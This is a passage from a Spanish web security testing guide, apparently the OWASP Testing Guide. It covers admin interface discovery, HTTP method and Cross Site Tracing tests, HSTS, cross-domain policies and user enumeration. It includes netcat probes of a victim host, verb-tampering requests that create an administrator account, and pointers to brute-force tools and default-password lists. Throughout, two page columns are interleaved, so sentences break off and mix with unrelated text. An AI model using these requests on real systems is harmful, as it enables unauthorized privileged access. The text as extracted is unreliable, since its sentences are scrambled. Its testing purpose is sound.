realizar cambios de cómo funciona el sitio. Tales cambios pueden incluir:´
en la documentación de configuración o ayuda. Las listas de contraseñas por
defecto deben consultarse si se encuentra una interfaz administrativa y se requieren
credenciales.
• Provisionamiento de cuentas de usuario
• Información disponible para el público p. Muchas aplicaciones como wordpress
• Diseño y diagramación del sitio tienen interfaces administrativas por defecto.
• Manipulación de datos • Puerto de servidor alternativo. Las interfaces de administración pueden ser
encontradas en un puerto diferente en el host de la aplicación principal. Por
• Cambios en la configuración ejemplo, a menudo puede verse la interfaz de administración de Apache Tomcat en
el puerto 8080.
• Alteración de parámetros. Un parámetro GET o POST o una variable de cookie

En muchas instancias, dichas interfaces no tienen suficientes controles puede ser requerida para habilitar la funcionalidad de administrador. Pistas para
para protegerlas de accesos no autorizados. La prueba está dirigida a esto incluyen la presencia de campos ocultos tales como:
descubrir estas interfaces de administrador y acceder a funcionalidades
para estos usuarios privilegiados.
<input type=”hidden” name=”admin” value=”no”>
Cómo Probar
En la siguiente sección se describen vectores que pueden utilizarse para o en una cookie:
probar la presencia de interfaces administrativas. Estas técnicas también
pueden utilizarse para probar temas relacionados que incluyen la Cookie: session_cookie; useradmin=0
elevación de privilegios y se describen en otros sitios de esta guía (por
ejemplo Pruebas para eludir el esquema de autorización (OTG-AUTHZ-
002) y Pruebas de referencias de objetos directos inseguros (OTG-
AUTHZ-004) en mayor detalle.
Una vez que se ha descubierto una interfaz administrativa, puede

utilizarse una combinación de las técnicas anteriores para intentar eludir
• Enumeración de archivos y directorios. Una interfaz administrativa puede estar la autenticación. Si esto falla, el evaluador podría intentar un ataque
presente, pero no visiblemente disponible para el evaluador. Intentar adivinar la forzado. En tal caso, el evaluador debe estar consciente de la posibilidad
trayectoria de la interfaz administrativa puede ser tan simple como solicitar: /admin de bloqueo de la cuenta administrativa si dicha funcionalidad está
o /administrator etc... o, en algunos casos, pueden ser revelados en segundos presente.
utilizando Google dorks.
• Existen muchas herramientas disponibles para forzar el contenido del servidor.

Consulte la sección de herramientas a continuación para obtener más información. Pruebas de Caja Gris
* Un evaluador puede tener que identificar también el nombre del archivo de la
página de administración. Navegar hacia la página identificada, a la fuerza, puede Debe realizar un examen más detallado de los componentes del servidor
proporcionar acceso a la interfaz. y de la aplicación para asegurarse de la fortaleza (es decir, las páginas de
administrador no son accesibles a todo el mundo mediante el uso de
• Comentarios y vínculos en el código fuente. Muchos sitios utilizan un código filtros IP u otros controles) y, en ciertos casos, verificar que todos los
común, cargado para todos los usuarios del sitio. Examinando todas las fuentes componentes no usan credenciales o configuraciones por defecto.

85
Aunque GET y POST son los métodos más comunes que se utilizan para
acceder a la información proporcionada por un servidor web, el protocolo
El código fuente debe ser revisado para asegurar que el modelo de de transferencia de hipertexto (HTTP) permite varios otros métodos( y
autorización y autenticación garantiza la separación clara de funciones algunos menos conocidos). RFC 2616 (que describe al HTTP versión 1.1
entre los usuarios normales y los administradores. Las funciones de la que es el estándar hoy en día) define los siguientes ocho métodos:
interfaz de usuario compartidas entre usuarios normales y
administradores deben ser revisadas para garantizar una separación
clara entre el dibujo de dichos componentes y la información que puede
fugarse de tal funcionalidad. • HEAD
• GET
Herramientas • POST
• PUT
• Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran • DELETE
herramienta para forzar directorios y archivos en el servidor.
• TRACE
• THC-HYDRA es una herramienta que permite forzar muchas interfaces,
incluyendo la autenticación HTTP basada en formularios. • OPTIONS
• Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el • CONNECT
diccionario de netsparker.
Algunos de estos métodos pueden plantear un potencial riesgo de

Referencias seguridad para una aplicación web, ya que permiten a un atacante
modificar los archivos almacenados en el servidor web y, en algunos
escenarios, roban las credenciales de usuarios legítimos. Más
concretamente, los métodos que deben deshabilitarse son los siguientes:
• Lista de contraseñas por defecto: governmentsecurity.org
• PUT: Este método permite a un cliente subir nuevos archivos en el

• Lista de contraseñas por defecto: cirt.net servidor web. Un atacante puede explotarlo subiendo archivos maliciosos
(por ejemplo: un archivo asp que ejecuta los comandos invocando el
cmd.exe), o simplemente usando el servidor de la víctima como un
deposito de archivos.
Pruebe los métodos HTTP (OTG-CONFIG- • DELETE: Este método permite a un cliente eliminar un archivo en el
006) servidor web. Un atacante puede explotarlo como una forma muy simple
y directa para modificar un sitio web o para montar un ataque DoS.
Resumen • CONNECT: Este método podría permitir a un cliente utilizar el servidor

web como un proxy.
HTTP ofrece una serie de métodos que pueden utilizarse para realizar
acciones en el servidor web. Muchos de los métodos están diseñados para
• TRACE: Este método simplemente hace eco al cliente de cualquier
cadena que ha sido enviada al servidor y se utiliza principalmente para
propósitos de depuración. Este método, originalmente asumido como
inofensivo, puede usarse para un ataque conocido como Rastreo de Sitios
ayudar a los desarrolladores a implementar y probar aplicaciones HTTP.
Cruzados (Cross Site Tracing), que ha sido descubierto por Jeremiah
Estos métodos HTTP pueden utilizarse para fines malvados si el servidor
Grossman (vea los enlaces en la parte inferior de la página).
web está mal configurado. Además, el Cross Site Tracing (XST), una forma
de escritura de sitios cruzados que utiliza el método TRACE del servidor
HTTP, es examinado.
Si una aplicación necesita uno o más de estos métodos, tales como los
servicios Web REST (que puede requerir de PUT o DELETE), es
86
importante verificar que su uso está debidamente limitado a usuarios de

$ nc www.victim.com 80
confianza y condiciones de seguridad.
OPTIONS / HTTP/1.1
Host: www.victim.com
Métodos HTTP Arbitrarios
Arshan Dabirsiaghi (ver enlaces) descubrió que muchos frameworks de

aplicación web permitían métodos HTTP bien elegidos o arbitrarios para
HTTP/1.1 200 OK
evitar un control de acceso a nivel del ambiente:
Date: Tue, 31 Oct 2006 08:00:29 GMT

• Muchos frameworks y lenguajes tratan "HEAD" como una petición de "GET",
aunque sin ningún cuerpo en la respuesta. Si una restricción de seguridad fue
Connection: close
establecida en las peticiones de "GET" que sólo los "authenticatedUsers" o usuarios
autenticados podrían acceder a solicitudes GET para un recurso o un servlet en Allow: GET, HEAD, POST, TRACE, OPTIONS
particular, sería evitado con la versión de "HEAD". Esto permitió la sumisión ciega
y sin autorización de cualquier solicitud GET privilegiada.
• Algunos frameworks permiten métodos HTTP arbitrarios como "JEFF" o

"CATS" para que sean utilizados sin límite. Estos fueron tratados como si
Como podemos ver en el ejemplo, OPTIONS proporciona una lista de los
métodos admitidos por el servidor web, y en este caso podemos ver que
el método TRACE está habilitado. El peligro que plantea este método se
un método "GET" fuera emitido y resultaron no ser sujetos a un control de acceso ilustra en la siguiente sección.
basado en el método de roles en varios idiomas y frameworks, otra vez, lo que
permite una sumisión ciega sin autorización a peticiones GET privilegiadas.
Pruebe el potencial XST
En muchos casos, el código que comprueba explícitamente un método Nota: para entender la lógica y los objetivos de este ataque, uno debe
"GET" o "POST" sería seguro. estar familiarizado con los ataques de Cross Site Scripting.
Cómo Probar El método TRACE, aunque aparentemente inofensivo, se puede

aprovechar con éxito en algunos escenarios para robar credenciales de
Descubra los Métodos Soportados usuarios legítimos. Esta técnica de ataque fue descubierta por Jeremiah
Grossman en el 2003, en un intento de eludir la etiqueta HttpOnly que
Para realizar esta prueba, el evaluador necesita alguna manera de Microsoft introdujo en Internet Explorer 6 SP1 para proteger las cookies
averiguar qué métodos HTTP son compatibles con el servidor web que de ser accesibles mediante JavaScript. De hecho, uno de los patrones de
está siendo examinado. El método de OPTIONS HTTP (opciones HTTP) ataque más recurrentes del Cross Site Scripting es tener acceso al objeto
proporciona al evaluador la forma más directa y efectiva de hacerlo. RFC document.cookie y enviarlo a un servidor web controlado por el atacante
2616 afirma que "el método de OPTIONS representa una solicitud de para que él o ella pueda secuestrar la sesión de la víctima. Etiquetaruna
información sobre las opciones de comunicación disponibles en la cadena cookie como HttpOnly prohíbe a JavaScript acceder a la misma,
de solicitud/respuesta identificada por el URL solicitado". protegiéndola de ser enviada a un tercero. Sin embargo, puede utilizarse
el método TRACE para saltarse esta protección y acceder a la cookie en
este escenario.
El método de prueba es muy sencillo y sólo necesitamos iniciar netcat (o

telnet):
Como se mencionó anteriormente, TRACE simplemente devuelve
cualquier cadena que se envía al servidor web. Para verificar su presencia
(o para comprobar los resultados de la solicitud de OPTIONS que se
muestra arriba), el evaluador puede proceder como se muestra en el
ejemplo siguiente:

87
• Aprovechando otra vulnerabilidad del lado del servidor: el atacante inyecta el

fragmento hostil de JavaScript que contiene la petición TRACE en la aplicación
vulnerable, como en un ataque normal de Cross Site Scripting.
• Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio
$ nc www.victim.com 80
web malicioso que contiene el fragmento del código hostil de JavaScript y
aprovecha alguna vulnerabilidad entre dominios del navegador de la víctima ,
TRACE / HTTP/1.1
para que el código JavaScript pueda realizar con éxito una conexión con el sitio
que soporta el método TRACE y que originó la cookie que el atacante está
Host: www.victim.com
tratando de robar.
HTTP/1.1 200 OK
Información más detallada, junto con ejemplos de código, puede
encontrarse en el documento original escrito por Jeremiah Grossman.
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close Pruebas de métodos HTTP arbitrarios
Content-Type: message/http Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 hacia una página de
Content-Length: 39 registro o fuerce un registro directamente. La URL de la prueba en este
ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin
embargo, si un evaluador obtiene una respuesta "200" que no es una
página de registro, es posible eludir la autenticación y autorización.
TRACE / HTTP/1.1
Si el framework, firewall o la aplicación no admite el método de "JEFF",
debe $emitir una página de error
nc www.example.com 80 (o preferiblemente un 405 Not Allowed o
501 Not implemented error page). Si sirve a la solicitud, es vulnerable a
El contenido de la respuesta es exactamente una copia de nuestra este problema.
JEFF / HTTP/1.1
petición original, lo que significa que el objetivo permite este método.
Ahora, ¿dónde está el peligro acechando? Si el evaluador indica un Host: www.example.com
navegador para emitir una petición TRACE al servidor web, y este
navegador tiene una cookie para ese dominio, la cookie se incluirá Si el evaluador siente que el sistema es vulnerable a este problema, debe
automáticamente en los encabezados de la solicitud y, por lo tanto, se publicar ataques tipo CSRF para explotar el tema más plenamente:
HTTP/1.1 200 OK
muestran en la respuesta resultante. En ese momento, la cadena de la
cookie será accesible por JavaScript y será finalmente posible enviarla a
Date: Mon, 18 Aug 2008 22:38:40 GMT
un tercero, así la cookie esté etiquetada como httpOnly.
• FOOBAR/admin/createUser.php?member=myAdmin
Server: Apache
• JEFF/admin/changePw.php?member=myAdmin&passwd=
Set-Cookie: PHPSESSID=K53QW...
Hay varias maneras de hacer que un navegador emita una solicitud
foo123&confirm=foo123
TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y
XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad,
• CATS /admin/groupEdit.php?group=Admins&member=myAd
al navegador se le permite iniciar una conexión sólo con el dominio donde
reside el script hostil. Este es un factor atenuante, ya que el atacante debe
min&action=add
combinar el método TRACE con otra vulnerabilidad para montar el
ataque.
Con suerte, usando los tres comandos anteriores que han sido
modificados para adaptarse a la aplicación sometida a la prueba y los
Un atacante tiene dos formas de lanzar con éxito un ataque de Cross Site
requisitos de prueba, se debe crear un nuevo usuario, con una contraseña
Tracing:
asignada y hacelo administrador.

88
Pruebas para omitir el control de acceso HEAD Si el evaluador piensa que el sistema es vulnerable a este problema, debe
emitir ataques tipo CSRF para explotar el tema más plenamente:
Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 a una página de registro
o fuerce un registro directamente. La URL de prueba en este ejemplo
funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si el • HEAD /admin/createUser.php?member=myAdmin
evaluador obtiene una respuesta "200" que no es una página de inicio de
sesión, es posible eludir la autenticación y autorización. • HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123
$ nc www.example.com 80
• HEAD /admin/groupEdit.php?group=Admins&member=myAd
HEAD /admin HTTP/1.1
min&action=add
Host: www.example.com
Con suerte, usando los tres comandos anteriores (modificados para

HTTP/1.1 200 OK adaptarse a la aplicación sometida a prueba y los requisitos de prueba)se
debe crear un nuevo usuario, con una contraseña asignada y hacerlo
Date: Mon, 18 Aug 2008 22:44:11 GMT administrador, todo usando un envío de solicitud ciega.
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly Herramientas
Expires: Thu, 19 Nov 1981 08:52:00 GMT • NetCat - http://nc110.sourceforge.net
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, • cURL - http://curl.haxx.se/

pre-check=0
Pragma: no-cache
Referencias
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009
22:44:31 GMT; domain=www.example.com Libros Blancos
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”
22:54:31 GMT; domain=www.example.com
• RFC 2109 and RFC 2965: HTTP State Management Mechanism”
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007
22:44:30 GMT; domain=www.example.com
Content-Language: EN • Jeremiah Grossman: “Cross Site Tracing (XST)” - cgisecurity.com
Connection: close • Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the
need for TRACE” - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method • Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” -
Unimplemented", el objetivo static.swpag.info
aplicación/framework/lenguaje/sistema/firewall) está funcionando
correctamente. Si regresa un código de respuesta "200", y la respuesta no
contiene ningúna información, es probable que la aplicación ha procesado
la solicitud sin autenticación o autorización y se deben realizar pruebas
para certificarlas.
Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007)

89
Resumen
El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo Cómo probar

que tienen los sitios web para comunicarse con los navegadores web.
Todo el tráfico intercambiado con un dominio debe siempre ser enviado Probar la presencia del encabezado HSTS puede hacerse comprobando la
mediante https; esto ayudará a proteger la información de que se envie existencia de la Rúbrica HSTS en la respuesta del servidor en un proxy de
mediante peticiones no cifradas. intercepción, o usando curl como se indica a continuación:
Considerando la importancia de esta medida de seguridad, es importante $ curl -s -D- https://domain.com/ | grep Strict
verificar que el sitio web utilice este encabezado HTTP, para garantizar
que todos los datos viajan encriptados desde el navegador al servidor.
Resultado esperado:
La función HTTP Strict Transport Security (HSTS) permite a una Strict-Transport-Security: max-age=...
aplicación web informar al navegador, mediante el uso de un encabezado
de respuesta especial, que nunca debe establecer una conexión con los
servidores de dominio especificados mediante HTTP. En su lugar debe
Referencias
establecer automáticamente todas las solicitudes de conexión para
acceder al sitio a través de HTTPS.
• OWASP HTTP Strict Transport Security - owasp.org
• OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security -

http://www.youtube.com/watch?v=zEV3HOuM_Vw
El encabezado HTTP Strict Transport Security utiliza dos directivas:
• HSTS Specification: tools.ietf.org

• max-age: para indicar el número de segundos en el que el navegador debe
convertir automáticamente todas las solicitudes de HTTP a HTTPS.
• includeSubDomains: para indicar que todos los subdominios de la aplicación

web deben utilizar HTTPS.
Pruebe la Política de Dominio Cruzado RIA (OTG-CONFIG-008)
Resumen
Este es un ejemplo de la aplicación de la Rúbrica HSTS:
Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de
Strict-Transport-Security: max-age=60000; includeSubDomains
políticas de Adobe crossdomain.xml para permitir el acceso controlado de
dominio cruzado para consumo de datos y servicios, utilizando
tecnologías como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un
dominio puede conceder acceso remoto a sus servicios desde un dominio
El uso del encabezado por parte de las aplicaciones web debe revisarse
diferente. Sin embargo, a menudo los archivos de políticas que describen
para encontrar si podrían producirse los siguientes problemas de
las restricciones de acceso se configuran pobremente. Una configuración
seguridad:
pobre de los archivos de directivas permite ataques de Cross-site Request
Forgery (Falsificación de peticiones de sitios cruzados) y puede permitir
a terceros acceder a los datos sensibles para el usuario.
• Los atacantes olfateando el tráfico de red y accediendo a la información
transferida a través de un canal sin codificar.
• Los atacantes explotando un ataque de intermediario (man in the middle) ¿Cuáles son los archivos de directivas entre dominios?
debido al problema de aceptar certificados que no son de
Un archivo de políticas de dominios cruzados especifica los permisos que
confianza. un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para
acceder a datos entre dominios diferentes. Para Silverlight, Microsoft
• Los usuarios que entraron por error una dirección en el navegador, poniendo adoptó un subconjunto del crossdomain.xml de Adobe y, además, creó su
HTTP en lugar de HTTPS, o usuarios que hagan clic en un vínculo en una propio archivo de directivas entre dominios: clientaccesspolicy.xml.
aplicación web que indicó por error el protocolo HTTP.

90
<?xml version=”1.0”?>
Cada vez que un cliente web detecta que un recurso tiene que ser
<!DOCTYPE cross-domain-policy SYSTEM
solicitado a otro dominio, primero buscará un archivo de políticas en el
dominio de destino para determinar si puede realizar peticiones de
“http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”>
dominio cruzado, incluyendo encabezados, y si se permiten los enlaces
basados en tomas de conexión (socket-based connections) .
<cross-domain-policy>
<site-control permitted-cross-domain-policies=”all”/>
Los archivos maestros de políticas se encuentran en la raíz del dominio. <allow-access-from domain=”*” secure=”false”/>
Un cliente puede recibir instrucciones para cargar un archivo de políticas
diferentes, pero siempre comprobará el archivo maestro de política <allow-http-request-headers-from domain=”*” headers=”*”
primero, para asegurarse de que el archivo maestro de políticas permite secure=”false”/>
el archivo de políticas solicitado.
</cross-domain-policy>
Crossdomain.xml vs. Clientaccesspolicy.xml
La mayoría de las aplicaciones RIA soportan crossdomain.xml. Sin ¿Cómo pueden los archivos de políticas de dominios cruzados ser
embargo, en el caso de Silverlight, solo le está permitido funcionar si forzados?
crossdomain.xml especifica que el acceso se permite desde cualquier
dominio. Para un control más detallado con Silverlight, debe usarse • Políticas de dominios cruzados excesivamente permisivas.
clientaccesspolicy.xml.
• Que generan respuestas del servidor que pueden ser tratadas como
archivos de políticas de dominios cruzados.
Los archivos de políticas conceden varios tipos de permisos: • Que usan la funcionalidad de carga de archivos para subirlos y tratarlos
como archivos de políticas de dominios cruzados.
• Archivos de políticas aceptados (Los archivos maestros de políticas de

archivos pueden deshabilitar o restringir archivos de políticas específicas) Impacto del abuso del acceso de dominios cruzados
• Permisos de tomas de conexión • Derrotar las protecciones CSRF.
• Permisos de encabezados • Leer datos restringidos o que estaban protegidos por políticas de origen
cruzado.
• Permisos de acceso HTTP/HTTPS
• Permitir el acceso basado en credenciales criptográficas

Cómo probar
Para probar las debilidades de los archivos de políticas RIA:

Un ejemplo de un archivo de políticas excesivamente permisivos:
Para probar la debilidad del archivo de políticas RIA, el evaluador debe
tratar de recuperar los archivos de las políticas crossdomain.xml y
clientaccesspolicy.xml de la raíz de la aplicación y de cada carpeta
encontrada.
Por ejemplo, si el URL de la aplicación es http://www.owasp.org, el

evaluador debe intentar descargar los archivos
http://www.owasp.org/crossdomain.xml and
http://www.owasp.org/clientaccesspolicy.xml.

91
• MSDN: “Making a Service Available Across Domain Boundaries”

msdn.microsoft.com
Después de recuperar todos los archivos de políticas, los permisos
permitidos deben medirse bajo el principio de privilegios mínimos. Las • MSDN: “Network Security Access Restrictions in Silverlight” -
solicitudes sólo deben provenir de los dominios, puertos o protocolos que msdn.microsoft.com
son necesarios. Deben evitarse las políticas excesivamente permisivas.
Políticas con "*" deben ser examinadas de cerca. • Stefan Esser: “Poking new holes with Flash Crossdomain Policy Files”
hardened-php.net
• Jeremiah Grossman: “Crossdomain.xml Invites Cross-site Mayhem”
<allow-access-from domain=”*” /> jeremiahgrossman.blogspot.com
</cross-domain-policy> • Google Doctype: “Introduction to Flash security “ - code.google.com
Ejemplo:
Pruebe las Definiciones de Roles (OTG-
IDENT-001)
<allow-access-from domain=”*” />
Resumen
</cross-domain-policy>
Es común en las empresas modernas definir funciones de sistema para la
gestión de usuarios y autorización de recursos del sistema. En la mayoría
de las implementaciones de sistema, se espera que existan al menos dos
Resultado esperado: funciones: los administradores y usuarios regulares. El primero
representa un papel que permite el acceso a la funcionalidad privilegiada
e información sensible; el segundo que representa un papel que permite
el acceso a información y funcionalidad del negocio regular. Los roles
• una lista de archivos de políticas encontrados. bien desarrollados deben estar alineados con los procesos de negocio que
están soportados por la aplicación.
• Una configuración débil en las políticas.
Es importante recordar que la autorización obligatoria no es la única

Herramientas manera de gestionar el acceso a los objetos del sistema. En entornos más
confiables, donde la confidencialidad no es crítica, controles más suaves
• Nikto
como el flujo de trabajo de aplicación y registro de auditoría pueden
cubrir los requisitos de integridad de los datos, mientras no restrinjan el
• OWASP Zed Attack Proxy Project
acceso del usuario a la funcionalidad o la creación de estructuras de roles
más complejas, que son difíciles de manejar.
• W3af
Referencias Es importante considerar el principio de "Ricitos de Oro" cuando

hablamos de la ingeniería de roles. Definirmuy pocos papeles y amplios
Libros Blancos papeles (exponiendo a los usuarios de esta manera al acceso de
funcionalidades que no requieren) es tan malo como muchos papeles o
• UCSD: “Analyzing the Crossdomain Policies of Flash Applications” - hechos muy ajustados a la medida de cada usuario ( y así restringir el
cseweb.ucsd.edu acceso de los usuarios a las funcionalidades que requieren).
• Adobe: “Cross-domain policy file specification” - adobe.com
• Adobe: “Cross-domain policy file usage recommendations for Flash Player” Pruebe los objetivos
- adobe.com
• Oracle: “Cross-Domain XML Support” - oracle.com

92
Valide los diferentes roles en el sistema, definidos dentro de la aplicación.

Defina y separe lo suficiente cada sistema y rol de negocio para gestionar
un acceso adecuado a la información y funcionalidad del sistema. Remediación
La remediación de los problemas puede tomar las siguientes formas:
• Ingeniería de roles
Cómo probar • Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, • Separación de funciones
desarrolle un rol versus la matriz de permisos. La matriz debe enumerar
todos los roles que pueden ser provisionados y explorar los permisos que
pueden aplicarse a los objetos, así como las restricciones. Si una matriz es
proporcionada con la aplicación, esta debe ser validada por el evaluador;
Pruebe el Proceso de Registro del Usuario
si no existe, el evaluador debe generar y determinar si la matriz satisface
las políticas de acceso deseado por la aplicación. (OTG-IDENT-002)
Resumen
Ejemplo Algunos sitios web ofrecen un proceso de registro del usuario, que
automatiza (o semi-automatiza) la creación del acceso al sistema para los
Un ejemplo real de definiciones de roles se puede encontrar en la usuarios. Los requisitos de identidad para el acceso varían desde
documentación de funciones de WordPress [1]. WordPress tiene seis identificación positiva a ninguna en absoluto, dependiendo de los
roles por defecto desde Super Administrador hasta Suscriptor. requisitos de seguridad del sistema. Muchas aplicaciones públicas
automatizan totalmente el registro y el proceso de provisionamiento
porque el tamaño de la base de usuarios hace que sea imposible
manejarla manualmente. Sin embargo, muchas aplicaciones corporativas
provisionan usuarios manualmente, por lo que este tipo de prueba puede
no ser aplicable.
[1] Verifique que los requisitos de identidad para registro de usuarios

estén alineados con los requerimientos de seguridad y negocio.
[2] Valide el proceso de registro.

Herramientas
Si bien el enfoque más exhaustivo y exacto para completar esta prueba es

llevarla a cabo manualmente, las herramientas de spidering[2] también
Cómo probar
son útiles. Inicie la sesión con cada rol en orden (no olvide excluir el
vínculo cerrar sesión desde la herramienta de spidering). Verifique que los requisitos de identidad para registro de usuarios estén
alineados con los requerimientos de seguridad y negocio:
Referencias
[1] ¿Cualquier persona puede registrarse para acceder?
[1] Role Engineering for Enterprise Security Management, E Coyne & J
Davis, 2007
[2] ¿Son validados por un ser humano antes de crear los registros, o se
conceden automáticamente si se cumplen los criterios?
[2] Role engineering and RBAC standards

93
[3] ¿Puede la misma persona o identidad registrarse varias veces?
[4] ¿Pueden registrarse usuarios para diferentes roles o permisos?
[5] ¿Qué documento de identidad se requiere para que un registro tenga

éxito?
[6] ¿Son las identidades registradas verificadas? Herramientas
Un proxy HTTP puede ser una herramienta útil para probar este control.
Validar el proceso de registro:
[1] ¿Puede la información de identidad ser fácilmente falsificada?
Referencias
[2] ¿Puede el intercambio de información durante el registro ser Diseño de registro de usuarios
manipulado?
Remediación
Ejemplo
Implemente una identificación y verificación de requisitos que
En el siguiente ejemplo de WordPress, el único requisito de identificación corresponden a los requisitos de seguridad de la información que las
es una dirección de correo electrónico accesible a la persona registrada. credenciales protegen.
Pruebe el Proceso de Creación de Cuentas

(OTG-IDENT-003)
Resumen
El aprovisionamiento de cuentas presenta una oportunidad para un

atacante de crear una cuenta válida sin la aplicación de una correcta
identificación y proceso de autorización.
Objetivos de la Prueba
En cambio, en el ejemplo de Google a continuación, la identificación de Verifique qué cuentas pueden aprovisionar otras cuentas y de qué tipo.
requisitos incluye nombre, fecha de nacimiento, país, número de teléfono
móvil, dirección de correo electrónico y respuesta CAPTCHA. Mientras
que sólo dos de estos pueden verificarse (dirección email y número de
móvil), los requisitos de identificación son más estrictos que en Cómo probar
WordPress.

94
Determine qué roles están a disposición de los usuarios y qué tipo de

cuentas pueden aprovisionar .
• ¿Existe alguna verificación, examen y autorización de las solicitudes de

aprovisionamiento?
• ¿Existe alguna verificación, examen y autorización de las solicitudes de

aprovisionamiento?
• ¿Puede un administrador aprovisionar a otros administradores o sólo usuarios?
• ¿Puede un administrador u otras cuentas crear cuentas de usuario con privilegios

mayores que los suyos?
Herramientas
• ¿Puede un administrador o usuario eliminar su cuenta? Aunque el enfoque más exhaustivo y exacto para completar esta prueba
es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien
pueden ser útiles.
• ¿Cómo son gestionados los archivos o recursos propiedad del usuario eliminado?
¿Se eliminan? ¿Se transfiere el acceso?
Pruebas de enumeración de cuentas y

adivinanza de cuentas de usuario (OTG-
Ejemplo
IDENT-004)
En WordPress, sólo el nombre de usuario y correo electrónico son
necesarios para crear un usuario, como se muestra a continuación: Resumen
La visión de esta prueba es verificar si es posible reunir un conjunto de

nombres válidos de usuario interactuando con el mecanismo de
autenticación de la aplicación. Esta prueba será útil para las pruebas de
fuerza bruta, en las que el evaluador verifica si, dado un nombre de
usuario válido, es posible encontrar la contraseña correspondiente.
A menudo, las aplicaciones web revelan cuándo existe un nombre de

usuario en el sistema, ya sea como consecuencia de la mala configuración
o como una decisión de diseño. Por ejemplo, a veces, cuando se envían
credenciales equivocadas, recibimos un mensaje que indica que el
nombre de usuario está presente en el sistema o la contraseña
La eliminación de usuarios requiere que el administrador seleccione los
proporcionada es incorrecta. La información obtenida puede utilizarla un
usuarios a ser eliminados. Seleccione Eliminar del menú desplegable
atacante para obtener una lista de los usuarios en el sistema. Esta
(marcado en un círculo) y luego aplique esta acción. Al administrador se
información puede utilizarse para atacar la aplicación web, por ejemplo, a
le presenta entonces un cuadro de diálogo preguntando qué hacer con los
través de un ataque forzado o un ataque por defecto de nombre de
mensajes del usuario (borrar o transferir).
usuario y contraseña.

95
El evaluador debe interactuar con el mecanismo de autenticación de la El navegador debe mostrar un mensaje similar al siguiente:
aplicación para entender si, enviando peticiones en particular, se logra
que la aplicación responda de diferentes maneras. Este problema existe
porque la información de aplicación web o servidor web es diferente
cuando el usuario proporciona un nombre de usuario válido que cuando
usa uno no válido.
En algunos casos, se recibe un mensaje que revela si las credenciales

proporcionadas están equivocadas porque se utilizó un nombre de o algo así:
usuario no válido o una contraseña incorrecta. A veces, los evaluadores
pueden enumerar los usuarios existentes enviando un nombre de usuario
y una contraseña vacía.
Cómo probar
En una prueba de de caja negra, el evaluador no sabe nada acerca de la

aplicación, nombre de usuario, lógica de la aplicación, mensajes de error
en el registro de la página o posibilidades de recuperación de contraseña. contra cualquier mensaje que revela la existencia del usuario, por
Si la aplicación es vulnerable, el evaluador recibe un mensaje de ejemplo, un mensaje similar al siguiente:
respuesta que revela, directa o indirectamente, alguna información útil
para la enumeración de usuarios. Login for User foo: invalid password
Mensaje de respuesta HTTP
Usando WebScarab, note la información obtenida de este intento fallido

de autenticación (respuesta HTTP 200, longitud de la respuesta).
Pruebas de búsqueda de contraseñas y usuarios válidos
Pruebas para buscar un usuario no existente

Registre la respuesta del servidor cuando se envía una identificación de
usuario válido y una contraseña válida. Ahora, el evaluador debe intentar introducir un ID de usuario inválido y
una contraseña incorrecta y registrar la respuesta del servidor (el
evaluador debe estar seguro que el nombre de usuario no es válido en la
aplicación). Grabe el mensaje de error y la respuesta del servidor.
Resultado esperado:
Usando WebScarab, anote la información obtenida de esta autenticación

correcta (respuesta HTTP 200, longitud de la respuesta). Resultado esperado:
Si el evaluador ingresa un ID de usuario inexistente, puede recibir un

mensaje similar a:
Pruebas para un usuario válido con una contraseña incorrecta.
Ahora, el evaluador intentará introducir un usuario válido y una

contraseña incorrecta y grabará el mensaje de error generado por la
aplicación.
Resultado esperado:

96
o un mensaje como el siguiente:

http://www.foo.com/err.jsp?User=baduser&Error=0
Login failed for User foo: invalid Account
http://www.foo.com/err.jsp?User=gooduser&Error=2
Generalmente, la aplicación debe responder con el mismo mensaje de
error y la longitud a las distintas solicitudes incorrectas. Si las respuestas
no son iguales, el evaluador debe investigar y averiguar la clave que crea Como se ve arriba, cuando un evaluador proporciona un ID de usuario y
una diferencia entre las dos respuestas. Por ejemplo: una contraseña a la aplicación web, ven un mensaje que indica que se ha
producido un error en la URL. En el primer caso han proporcionado un ID
de usuario equivocado y una contraseña equivocada. En el segundo, un ID
de usuario correcto y una contraseña equivocada, así que pueden
• Solicitud del cliente: usuario válido/ contraseña inválida--> identificar un ID de usuario válido.
Respuesta del servidor: 'la contraseña no es correcta'
• Solicitud del cliente: : usuario inválido/ contraseña inválida --> -Sondeo de una URI
Respuesta del servidor: 'Usuario no reconocido' A veces un servidor web responde diferente si recibe una solicitud de un
directorio existente o no. Por ejemplo, en algunos portales, cada usuario
está asociado con un directorio. Si los evaluadores intentan acceder a un
directorio existente, ellos podrían recibir un error de servidor web.
Las respuestas anteriores permiten al evaluador entender con la primera
solicitud que tienen un nombre de usuario válido para interactuar con la Un error muy común que se recibe desde el servidor web es:
aplicación, solicitando un conjunto de posibles usuarios y observar la
respuesta.
403 Forbidden error code

